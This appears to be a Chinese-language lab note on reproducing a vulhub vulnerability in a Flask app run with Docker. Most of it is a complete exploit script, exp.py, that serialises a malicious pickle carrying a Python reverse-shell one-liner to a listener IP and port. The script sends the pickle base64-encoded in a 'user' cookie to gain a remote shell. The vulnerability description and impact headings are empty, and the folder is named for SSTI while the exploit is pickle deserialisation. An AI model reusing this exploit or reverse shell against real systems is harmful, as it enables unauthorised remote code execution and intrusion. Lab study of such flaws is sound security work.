声明
好好学习,天天向上
漏洞描述
影响范围
复现过程
这里使用1.1.1版本
使用vulhub
/app/vulhub-master/flask/ssti
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.239.129:8000
创建exp.py,内容如下,自行修改反弹shell的IP和端口
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.239.139",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
response = requests.get("http://192.168.239.129:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
kali监听6666端口后
执行
python3 exp.py
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down